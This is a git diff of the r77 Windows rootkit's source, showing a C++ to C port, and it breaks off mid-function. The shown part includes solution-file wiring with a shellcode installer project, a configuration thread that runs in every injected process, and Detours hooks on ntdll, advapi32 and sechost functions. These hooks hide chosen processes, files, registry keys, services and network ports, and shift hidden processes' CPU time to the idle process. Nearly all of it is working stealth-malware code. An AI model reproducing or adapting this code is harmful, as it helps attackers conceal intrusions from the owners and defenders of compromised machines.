+ {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Debug|Any CPU.ActiveCfg = Debug|x64
+ {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Debug|Any CPU.Build.0 = Debug|x64
+ {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Debug|x64.ActiveCfg = Debug|x64
+ {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Debug|x64.Build.0 = Debug|x64
+ {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Debug|x86.ActiveCfg = Debug|x64
+ {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Debug|x86.Build.0 = Debug|x64
+ {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Release|Any CPU.ActiveCfg = Release|x64
+ {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Release|Any CPU.Build.0 = Release|x64
+ {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Release|x64.ActiveCfg = Release|x64
+ {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Release|x64.Build.0 = Release|x64
+ {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Release|x86.ActiveCfg = Release|x64
+ {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0}.Release|x86.Build.0 = Release|x64
+ {86F8C733-F773-4AD8-9282-3F99953261FD}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {86F8C733-F773-4AD8-9282-3F99953261FD}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {86F8C733-F773-4AD8-9282-3F99953261FD}.Debug|x64.ActiveCfg = Debug|Any CPU
+ {86F8C733-F773-4AD8-9282-3F99953261FD}.Debug|x64.Build.0 = Debug|Any CPU
+ {86F8C733-F773-4AD8-9282-3F99953261FD}.Debug|x86.ActiveCfg = Debug|Any CPU
+ {86F8C733-F773-4AD8-9282-3F99953261FD}.Debug|x86.Build.0 = Debug|Any CPU
+ {86F8C733-F773-4AD8-9282-3F99953261FD}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {86F8C733-F773-4AD8-9282-3F99953261FD}.Release|Any CPU.Build.0 = Release|Any CPU
+ {86F8C733-F773-4AD8-9282-3F99953261FD}.Release|x64.ActiveCfg = Release|Any CPU
+ {86F8C733-F773-4AD8-9282-3F99953261FD}.Release|x64.Build.0 = Release|Any CPU
+ {86F8C733-F773-4AD8-9282-3F99953261FD}.Release|x86.ActiveCfg = Release|Any CPU
+ {86F8C733-F773-4AD8-9282-3F99953261FD}.Release|x86.Build.0 = Release|Any CPU
+ {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Debug|x64.ActiveCfg = Debug|Any CPU
+ {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Debug|x64.Build.0 = Debug|Any CPU
+ {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Debug|x86.ActiveCfg = Debug|Any CPU
+ {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Debug|x86.Build.0 = Debug|Any CPU
+ {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Release|Any CPU.Build.0 = Release|Any CPU
+ {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Release|x64.ActiveCfg = Release|Any CPU
+ {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Release|x64.Build.0 = Release|Any CPU
+ {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Release|x86.ActiveCfg = Release|Any CPU
+ {AFB848D0-68F8-42D1-A1C8-99DFBE034FCF}.Release|x86.Build.0 = Release|Any CPU
+ {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Debug|Any CPU.ActiveCfg = Debug|Win32
+ {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Debug|Any CPU.Build.0 = Debug|Win32
+ {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Debug|x64.ActiveCfg = Debug|Win32
+ {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Debug|x64.Build.0 = Debug|Win32
+ {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Debug|x86.ActiveCfg = Debug|Win32
+ {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Debug|x86.Build.0 = Debug|Win32
+ {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Release|Any CPU.ActiveCfg = Release|Win32
+ {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Release|Any CPU.Build.0 = Release|Win32
+ {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Release|x64.ActiveCfg = Release|Win32
+ {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Release|x64.Build.0 = Release|Win32
+ {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Release|x86.ActiveCfg = Release|Win32
+ {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE}.Release|x86.Build.0 = Release|Win32
+ {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Debug|Any CPU.ActiveCfg = Debug|Win32
+ {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Debug|Any CPU.Build.0 = Debug|Win32
+ {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Debug|x64.ActiveCfg = Debug|Win32
+ {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Debug|x64.Build.0 = Debug|Win32
+ {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Debug|x86.ActiveCfg = Debug|Win32
+ {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Debug|x86.Build.0 = Debug|Win32
+ {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Release|Any CPU.ActiveCfg = Release|Win32
+ {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Release|Any CPU.Build.0 = Release|Win32
+ {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Release|x64.ActiveCfg = Release|Win32
+ {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Release|x64.Build.0 = Release|Win32
+ {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Release|x86.ActiveCfg = Release|Win32
+ {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F}.Release|x86.Build.0 = Release|Win32
+ {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Debug|Any CPU.ActiveCfg = Debug|x64
+ {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Debug|Any CPU.Build.0 = Debug|x64
+ {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Debug|x64.ActiveCfg = Debug|x64
+ {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Debug|x64.Build.0 = Debug|x64
+ {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Debug|x86.ActiveCfg = Debug|x64
+ {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Debug|x86.Build.0 = Debug|x64
+ {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Release|Any CPU.ActiveCfg = Release|x64
+ {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Release|Any CPU.Build.0 = Release|x64
+ {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Release|x64.ActiveCfg = Release|x64
+ {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Release|x64.Build.0 = Release|x64
+ {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Release|x86.ActiveCfg = Release|x64
+ {78BB6D02-6E02-4933-89DC-4AD8EE0B303F}.Release|x86.Build.0 = Release|x64
+ {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
+ {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Debug|Any CPU.Build.0 = Debug|Any CPU
+ {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Debug|x64.ActiveCfg = Debug|Any CPU
+ {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Debug|x64.Build.0 = Debug|Any CPU
+ {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Debug|x86.ActiveCfg = Debug|Any CPU
+ {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Debug|x86.Build.0 = Debug|Any CPU
+ {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Release|Any CPU.ActiveCfg = Release|Any CPU
+ {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Release|Any CPU.Build.0 = Release|Any CPU
+ {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Release|x64.ActiveCfg = Release|Any CPU
+ {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Release|x64.Build.0 = Release|Any CPU
+ {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Release|x86.ActiveCfg = Release|Any CPU
+ {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7}.Release|x86.Build.0 = Release|Any CPU
+ {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Debug|Any CPU.ActiveCfg = Debug|Win32
+ {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Debug|Any CPU.Build.0 = Debug|Win32
+ {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Debug|x64.ActiveCfg = Debug|Win32
+ {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Debug|x64.Build.0 = Debug|Win32
+ {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Debug|x86.ActiveCfg = Debug|Win32
+ {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Debug|x86.Build.0 = Debug|Win32
+ {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Release|Any CPU.ActiveCfg = Release|Win32
+ {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Release|Any CPU.Build.0 = Release|Win32
+ {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Release|x64.ActiveCfg = Release|Win32
+ {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Release|x64.Build.0 = Release|Win32
+ {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Release|x86.ActiveCfg = Release|Win32
+ {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA}.Release|x86.Build.0 = Release|Win32
+ {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Debug|Any CPU.ActiveCfg = Debug|x64
+ {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Debug|Any CPU.Build.0 = Debug|x64
+ {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Debug|x64.ActiveCfg = Debug|x64
+ {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Debug|x64.Build.0 = Debug|x64
+ {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Debug|x86.ActiveCfg = Debug|x64
+ {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Debug|x86.Build.0 = Debug|x64
+ {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Release|Any CPU.ActiveCfg = Release|x64
+ {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Release|Any CPU.Build.0 = Release|x64
+ {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Release|x64.ActiveCfg = Release|x64
+ {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Release|x64.Build.0 = Release|x64
+ {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Release|x86.ActiveCfg = Release|x64
+ {E3104B33-DB3D-4C83-B393-1E05E1FF2B10}.Release|x86.Build.0 = Release|x64
+ EndGlobalSection
+ GlobalSection(SolutionProperties) = preSolution
+ HideSolutionNode = FALSE
+ EndGlobalSection
+ GlobalSection(NestedProjects) = preSolution
+ {E55F7214-8CC4-4E1D-AEDB-C908D23902A4} = {75D5E6C6-38E6-4808-A81C-D237A7D2BEEB}
+ {06AF1D64-F2FC-4767-8794-7313C7BB0A40} = {1A7FBF3D-F6D4-41A5-93FE-118A940F9086}
+ {1BA54A13-B390-47B3-9628-B58A2BBA193B} = {1A7FBF3D-F6D4-41A5-93FE-118A940F9086}
+ {F0005D08-6278-4BFE-B492-F86CCEC797D5} = {48D99D12-84EF-4BB3-946F-1366B9AA60B3}
+ {00D7268A-92A9-4CD4-ADDF-175E9BF16AE0} = {48D99D12-84EF-4BB3-946F-1366B9AA60B3}
+ {86F8C733-F773-4AD8-9282-3F99953261FD} = {75D5E6C6-38E6-4808-A81C-D237A7D2BEEB}
+ {BCE48DAE-232E-4B3D-B5B5-D0B29BB7E9DE} = {BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5}
+ {2D6FDD44-39B1-4FF8-8AE0-60A6B0979F5F} = {75D5E6C6-38E6-4808-A81C-D237A7D2BEEB}
+ {78BB6D02-6E02-4933-89DC-4AD8EE0B303F} = {75D5E6C6-38E6-4808-A81C-D237A7D2BEEB}
+ {E6543F7A-4E58-4C55-975E-ED975481EBE8} = {75D5E6C6-38E6-4808-A81C-D237A7D2BEEB}
+ {525FD9EB-628A-4D93-B320-3C1DFA0A216D} = {1A7FBF3D-F6D4-41A5-93FE-118A940F9086}
+ {6E4BB100-C3C9-4CF7-A637-08C2482C6B94} = {1A7FBF3D-F6D4-41A5-93FE-118A940F9086}
+ {DEAB25FD-2042-4BD6-BF4B-0802DCCC70F5} = {BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5}
+ {4D71336E-6EF6-4DF1-8457-B94DC3D73FE7} = {BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5}
+ {46E171D4-1811-48BE-8867-A63C28761D28} = {BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5}
+ {7271AFD1-10F6-4589-95B7-3ABF98E7B2CA} = {BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5}
+ {E3104B33-DB3D-4C83-B393-1E05E1FF2B10} = {BD27B8C6-9341-44E1-B375-FFE2ACAAD7F5}
+ EndGlobalSection
+ GlobalSection(ExtensibilityGlobals) = postSolution
+ SolutionGuid = {A070C206-A2CD-4C8A-878F-A43650D1A3B1}
+ EndGlobalSection
+ GlobalSection(SharedMSBuildProjectFiles) = preSolution
+ r77api\r77api.vcxitems*{00d7268a-92a9-4cd4-addf-175e9bf16ae0}*SharedItemsImports = 4
+ r77api\r77api.vcxitems*{06af1d64-f2fc-4767-8794-7313c7bb0a40}*SharedItemsImports = 4
+ r77\r77.vcxitems*{06af1d64-f2fc-4767-8794-7313c7bb0a40}*SharedItemsImports = 4
+ r77api\r77api.vcxitems*{1ba54a13-b390-47b3-9628-b58a2bba193b}*SharedItemsImports = 4
+ r77\r77.vcxitems*{1ba54a13-b390-47b3-9628-b58a2bba193b}*SharedItemsImports = 4
+ Helper\Helper.vcxitems*{2d6fdd44-39b1-4ff8-8ae0-60a6b0979f5f}*SharedItemsImports = 4
+ r77api\r77api.vcxitems*{2d6fdd44-39b1-4ff8-8ae0-60a6b0979f5f}*SharedItemsImports = 4
+ Service\Service.vcxitems*{46e171d4-1811-48be-8867-a63c28761d28}*SharedItemsImports = 9
+ r77api\r77api.vcxitems*{525fd9eb-628a-4d93-b320-3c1dfa0a216d}*SharedItemsImports = 9
+ r77\r77.vcxitems*{6e4bb100-c3c9-4cf7-a637-08c2482c6b94}*SharedItemsImports = 9
+ r77api\r77api.vcxitems*{7271afd1-10f6-4589-95b7-3abf98e7b2ca}*SharedItemsImports = 4
+ Service\Service.vcxitems*{7271afd1-10f6-4589-95b7-3abf98e7b2ca}*SharedItemsImports = 4
+ Helper\Helper.vcxitems*{78bb6d02-6e02-4933-89dc-4ad8ee0b303f}*SharedItemsImports = 4
+ r77api\r77api.vcxitems*{78bb6d02-6e02-4933-89dc-4ad8ee0b303f}*SharedItemsImports = 4
+ r77api\r77api.vcxitems*{bce48dae-232e-4b3d-b5b5-d0b29bb7e9de}*SharedItemsImports = 4
+ InstallShellcode\InstallShellcode.vcxitems*{deab25fd-2042-4bd6-bf4b-0802dccc70f5}*SharedItemsImports = 9
+ r77api\r77api.vcxitems*{e3104b33-db3d-4c83-b393-1e05e1ff2b10}*SharedItemsImports = 4
+ Service\Service.vcxitems*{e3104b33-db3d-4c83-b393-1e05e1ff2b10}*SharedItemsImports = 4
+ Helper\Helper.vcxitems*{e6543f7a-4e58-4c55-975e-ed975481ebe8}*SharedItemsImports = 9
+ r77api\r77api.vcxitems*{f0005d08-6278-4bfe-b492-f86ccec797d5}*SharedItemsImports = 4
+ EndGlobalSection
+EndGlobal
diff --git a/src/r77/Config.cpp b/r77/Config.c
similarity index 63%
rename from src/r77/Config.cpp
rename to r77/Config.c
index 4cab992..010fe6a 100644
--- a/src/r77/Config.cpp
+++ b/r77/Config.c
@@ -1,92 +1,82 @@
-#include "r77.h"
+#include "Config.h"
+#include "r77win.h"
-HANDLE Config::Thread = NULL;
-PR77_CONFIG Config::Configuration = NULL;
-
-void Config::Initialize()
+VOID InitializeConfig()
{
// The configuration is read periodically in a background thread.
- if (!Thread)
- {
- Thread = CreateThread(NULL, 0, UpdateThread, NULL, 0, NULL);
- }
+ ConfigThread = CreateThread(NULL, 0, UpdateConfigThread, NULL, 0, NULL);
}
-void Config::Shutdown()
+VOID UninitializeConfig()
{
- if (Thread)
+ TerminateThread(ConfigThread, 0);
+}
+static DWORD WINAPI UpdateConfigThread(LPVOID parameter)
+{
+ Configuration = LoadR77Config();
+
+ while (TRUE)
{
- TerminateThread(Thread, 0);
- Thread = NULL;
+ // Interval should not be too small, because this thread is running in every injected process.
+ Sleep(1000);
+
+ PR77_CONFIG newConfiguration = LoadR77Config();
+
+ if (CompareR77Config(Configuration, newConfiguration))
+ {
+ // Configuration hasn't changed.
+ DeleteR77Config(newConfiguration);
+ }
+ else
+ {
+ // Store configuration only if it has changed to avoid threading errors.
+ PR77_CONFIG oldConfiguration = Configuration;
+ Configuration = newConfiguration;
+ DeleteR77Config(oldConfiguration);
+ }
}
+
+ return 0;
}
-bool Config::IsProcessIdHidden(DWORD processId)
+BOOL IsProcessIdHidden(DWORD processId)
{
return Configuration && IntegerListContains(Configuration->HiddenProcessIds, processId);
}
-bool Config::IsProcessNameHidden(LPCWSTR name)
+BOOL IsProcessNameHidden(LPCWSTR name)
{
return Configuration && StringListContains(Configuration->HiddenProcessNames, name);
}
-bool Config::IsProcessNameHidden(UNICODE_STRING name)
+BOOL IsProcessNameHiddenU(UNICODE_STRING name)
{
PWCHAR chars = ConvertUnicodeStringToString(name);
if (chars)
{
- bool result = IsProcessNameHidden(chars);
- delete[] chars;
+ BOOL result = IsProcessNameHidden(chars);
+ FREE(chars);
return result;
}
else
{
- return false;
+ return FALSE;
}
}
-bool Config::IsPathHidden(LPCWSTR path)
+BOOL IsPathHidden(LPCWSTR path)
{
return Configuration && StringListContains(Configuration->HiddenPaths, path);
}
-bool Config::IsServiceNameHidden(LPCWSTR name)
+BOOL IsServiceNameHidden(LPCWSTR name)
{
return Configuration && StringListContains(Configuration->HiddenServiceNames, name);
}
-bool Config::IsTcpLocalPortHidden(USHORT port)
+BOOL IsTcpLocalPortHidden(USHORT port)
{
return Configuration && IntegerListContains(Configuration->HiddenTcpLocalPorts, port);
}
-bool Config::IsTcpRemotePortHidden(USHORT port)
+BOOL IsTcpRemotePortHidden(USHORT port)
{
return Configuration && IntegerListContains(Configuration->HiddenTcpRemotePorts, port);
}
-bool Config::IsUdpPortHidden(USHORT port)
+BOOL IsUdpPortHidden(USHORT port)
{
return Configuration && IntegerListContains(Configuration->HiddenUdpPorts, port);
-}
-
-DWORD WINAPI Config::UpdateThread(LPVOID parameter)
-{
- Configuration = LoadR77Config();
-
- while (true)
- {
- // Interval should not be too small, because this thread is running in every injected process.
- Sleep(1000);
-
- PR77_CONFIG newConfiguration = LoadR77Config();
-
- if (CompareR77Config(Configuration, newConfiguration))
- {
- // Configuration hasn't changed.
- DeleteR77Config(newConfiguration);
- }
- else
- {
- // Store configuration only if it has changed to avoid threading errors.
- PR77_CONFIG oldConfiguration = Configuration;
- Configuration = newConfiguration;
- DeleteR77Config(oldConfiguration);
- }
- }
-
- return 0;
}
\ No newline at end of file
diff --git a/r77/Config.h b/r77/Config.h
new file mode 100644
index 0000000..f511bfa
--- /dev/null
+++ b/r77/Config.h
@@ -0,0 +1,91 @@
+#include "r77config.h"
+#ifndef _CONFIG_H
+#define _CONFIG_H
+
+static HANDLE ConfigThread;
+static PR77_CONFIG Configuration;
+
+///
+/// Initializes the configuration system.
+///
+VOID InitializeConfig();
+///
+/// Uninitializes the configuration system.
+///
+VOID UninitializeConfig();
+static DWORD WINAPI UpdateConfigThread(LPVOID parameter);
+
+///
+/// Determines whether a process should be hidden based on a specific process ID.
+///
+/// The process ID to check.
+///
+/// TRUE, if the process with the specified ID should be hidden;
+/// otherwise, FALSE.
+///
+BOOL IsProcessIdHidden(DWORD processId);
+///
+/// Determines whether a process should be hidden based on a specific name.
+///
+/// The process name to check.
+///
+/// TRUE, if the process with the specified name should be hidden;
+/// otherwise, FALSE.
+///
+BOOL IsProcessNameHidden(LPCWSTR name);
+///
+/// Determines whether a process should be hidden based on a specific name.
+///
+/// The process name to check.
+///
+/// TRUE, if the process with the specified name should be hidden;
+/// otherwise, FALSE.
+///
+BOOL IsProcessNameHiddenU(UNICODE_STRING name);
+///
+/// Determines whether a file or directory should be hidden based on its full path.
+///
+/// The full path to check.
+///
+/// TRUE, if the file or directory with the specified full path should be hidden;
+/// otherwise, FALSE.
+///
+BOOL IsPathHidden(LPCWSTR path);
+///
+/// Determines whether a service should be hidden based on a specific name.
+///
+/// The service name to check.
+///
+/// TRUE, if the service with the specified name should be hidden;
+/// otherwise, FALSE.
+///
+BOOL IsServiceNameHidden(LPCWSTR name);
+///
+/// Determines whether a local TCP port should be hidden.
+///
+/// The TCP port to check.
+///
+/// TRUE, if the local TCP port should be hidden;
+/// otherwise, FALSE.
+///
+BOOL IsTcpLocalPortHidden(USHORT port);
+///
+/// Determines whether a remote TCP port should be hidden.
+///
+/// The TCP port to check.
+///
+/// TRUE, if the remote TCP port should be hidden;
+/// otherwise, FALSE.
+///
+BOOL IsTcpRemotePortHidden(USHORT port);
+///
+/// Determines whether a UDP port should be hidden.
+///
+/// The UDP port to check.
+///
+/// TRUE, if the UDP port should be hidden;
+/// otherwise, FALSE.
+///
+BOOL IsUdpPortHidden(USHORT port);
+
+#endif
\ No newline at end of file
diff --git a/r77/Hooks.c b/r77/Hooks.c
new file mode 100644
index 0000000..95d30e2
--- /dev/null
+++ b/r77/Hooks.c
@@ -0,0 +1,659 @@
+#include "Hooks.h"
+#include "Rootkit.h"
+#include "Config.h"
+#include "r77mindef.h"
+#include "r77def.h"
+#include "r77win.h"
+#include "ntdll.h"
+#include "r77runtime.h"
+#include "detours.h"
+#include
+#include
+
+VOID InitializeHooks()
+{
+ DetourTransactionBegin();
+ DetourUpdateThread(GetCurrentThread());
+ InstallHook("ntdll.dll", "NtQuerySystemInformation", (LPVOID*)&OriginalNtQuerySystemInformation, HookedNtQuerySystemInformation);
+ InstallHook("ntdll.dll", "NtResumeThread", (LPVOID*)&OriginalNtResumeThread, HookedNtResumeThread);
+ InstallHook("ntdll.dll", "NtQueryDirectoryFile", (LPVOID*)&OriginalNtQueryDirectoryFile, HookedNtQueryDirectoryFile);
+ InstallHook("ntdll.dll", "NtQueryDirectoryFileEx", (LPVOID*)&OriginalNtQueryDirectoryFileEx, HookedNtQueryDirectoryFileEx);
+ InstallHook("ntdll.dll", "NtEnumerateKey", (LPVOID*)&OriginalNtEnumerateKey, HookedNtEnumerateKey);
+ InstallHook("ntdll.dll", "NtEnumerateValueKey", (LPVOID*)&OriginalNtEnumerateValueKey, HookedNtEnumerateValueKey);
+ InstallHook("advapi32.dll", "EnumServiceGroupW", (LPVOID*)&OriginalEnumServiceGroupW, HookedEnumServiceGroupW);
+ InstallHook("advapi32.dll", "EnumServicesStatusExW", (LPVOID*)&OriginalEnumServicesStatusExW, HookedEnumServicesStatusExW);
+ InstallHook("sechost.dll", "EnumServicesStatusExW", (LPVOID*)&OriginalEnumServicesStatusExW2, HookedEnumServicesStatusExW2);
+ InstallHook("ntdll.dll", "NtDeviceIoControlFile", (LPVOID*)&OriginalNtDeviceIoControlFile, HookedNtDeviceIoControlFile);
+ DetourTransactionCommit();
+
+ // Usually, ntdll.dll should be the only DLL to hook.
+ // Unfortunately, the actual enumeration of services happens in services.exe - a protected process that cannot be injected.
+ // EnumServiceGroupW and EnumServicesStatusExW from advapi32.dll access services.exe through RPC. There is no longer one single syscall wrapper function to hook, but multiple higher level functions.
+ // EnumServicesStatusA and EnumServicesStatusExA also implement the RPC, but do not seem to be used by any applications out there.
+}
+VOID UninitializeHooks()
+{
+ DetourTransactionBegin();
+ DetourUpdateThread(GetCurrentThread());
+ UninstallHook(OriginalNtQuerySystemInformation, HookedNtQuerySystemInformation);
+ UninstallHook(OriginalNtResumeThread, HookedNtResumeThread);
+ UninstallHook(OriginalNtQueryDirectoryFile, HookedNtQueryDirectoryFile);
+ UninstallHook(OriginalNtQueryDirectoryFileEx, HookedNtQueryDirectoryFileEx);
+ UninstallHook(OriginalNtEnumerateKey, HookedNtEnumerateKey);
+ UninstallHook(OriginalNtEnumerateValueKey, HookedNtEnumerateValueKey);
+ UninstallHook(OriginalEnumServiceGroupW, HookedEnumServiceGroupW);
+ UninstallHook(OriginalEnumServicesStatusExW, HookedEnumServicesStatusExW);
+ UninstallHook(OriginalEnumServicesStatusExW2, HookedEnumServicesStatusExW2);
+ UninstallHook(OriginalNtDeviceIoControlFile, HookedNtDeviceIoControlFile);
+ DetourTransactionCommit();
+}
+
+static VOID InstallHook(LPCSTR dll, LPCSTR function, LPVOID *originalFunction, LPVOID hookedFunction)
+{
+ *originalFunction = GetFunction(dll, function);
+ if (*originalFunction) DetourAttach(originalFunction, hookedFunction);
+}
+static VOID UninstallHook(LPVOID originalFunction, LPVOID hookedFunction)
+{
+ if (originalFunction && hookedFunction) DetourDetach(&originalFunction, hookedFunction);
+}
+
+static NTSTATUS NTAPI HookedNtQuerySystemInformation(SYSTEM_INFORMATION_CLASS systemInformationClass, LPVOID systemInformation, ULONG systemInformationLength, PULONG returnLength)
+{
+ // returnLength is important, but it may be NULL, so wrap this value.
+ ULONG newReturnLength;
+ NTSTATUS status = OriginalNtQuerySystemInformation(systemInformationClass, systemInformation, systemInformationLength, &newReturnLength);
+ if (returnLength) *returnLength = newReturnLength;
+
+ if (NT_SUCCESS(status))
+ {
+ // Hide processes
+ if (systemInformationClass == SystemProcessInformation)
+ {
+ // Accumulate CPU usage of hidden processes.
+ LARGE_INTEGER hiddenKernelTime = { 0 };
+ LARGE_INTEGER hiddenUserTime = { 0 };
+ LONGLONG hiddenCycleTime = 0;
+
+ for (PNT_SYSTEM_PROCESS_INFORMATION current = (PNT_SYSTEM_PROCESS_INFORMATION)systemInformation, previous = NULL; current;)
+ {
+ if (HasPrefixU(current->ImageName) || IsProcessIdHidden((DWORD)(DWORD_PTR)current->ProcessId) || IsProcessNameHiddenU(current->ImageName))
+ {
+ hiddenKernelTime.QuadPart += current->KernelTime.QuadPart;
+ hiddenUserTime.QuadPart += current->UserTime.QuadPart;
+ hiddenCycleTime += current->CycleTime;
+
+ if (previous)
+ {
+ if (current->NextEntryOffset) previous->NextEntryOffset += current->NextEntryOffset;
+ else previous->NextEntryOffset = 0;
+ }
+ else
+ {
+ if (current->NextEntryOffset) systemInformation = (LPBYTE)systemInformation + current->NextEntryOffset;
+ else systemInformation = NULL;
+ }
+ }
+ else
+ {
+ previous = current;
+ }
+
+ if (current->NextEntryOffset) current = (PNT_SYSTEM_PROCESS_INFORMATION)((LPBYTE)current + current->NextEntryOffset);
+ else current = NULL;
+ }
+
+ // Add CPU usage of hidden processes to the System Idle Process.
+ for (PNT_SYSTEM_PROCESS_INFORMATION current = (PNT_SYSTEM_PROCESS_INFORMATION)systemInformation, previous = NULL; current;)
+ {
+ if (current->ProcessId == 0)
+ {
+ current->KernelTime.QuadPart += hiddenKernelTime.QuadPart;
+ current->UserTime.QuadPart += hiddenUserTime.QuadPart;
+ current->CycleTime += hiddenCycleTime;
+ break;
+ }
+
+ previous = current;
+
+ if (current->NextEntryOffset) current = (PNT_SYSTEM_PROCESS_INFORMATION)((LPBYTE)current + current->NextEntryOffset);
+ else current = NULL;
+ }
+ }
+ // Hide CPU usage
+ else if (systemInformationClass == SystemProcessorPerformanceInformation)
+ {
+ // ProcessHacker graph per CPU
+ LARGE_INTEGER hiddenKernelTime = { 0 };
+ LARGE_INTEGER hiddenUserTime = { 0 };
+ if (GetProcessHiddenTimes(&hiddenKernelTime, &hiddenUserTime, NULL))
+ {
+ ULONG numberOfProcessors = newReturnLength / sizeof(NT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION);
+ for (ULONG i = 0; i < numberOfProcessors; i++)
+ {
+ //TODO: This works, but it needs to be on a per-cpu basis instead of x / numberOfProcessors
+ PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION performanceInformation = &((PNT_SYSTEM_PROCESSOR_PERFORMANCE_INFORMATION)systemInformation)[i];
+ performanceInformation->KernelTime.QuadPart += hiddenUserTime.QuadPart / numberOfProcessors;
+ performanceInformation->UserTime.QuadPart -= hiddenUserTime.QuadPart / numberOfProcessors;
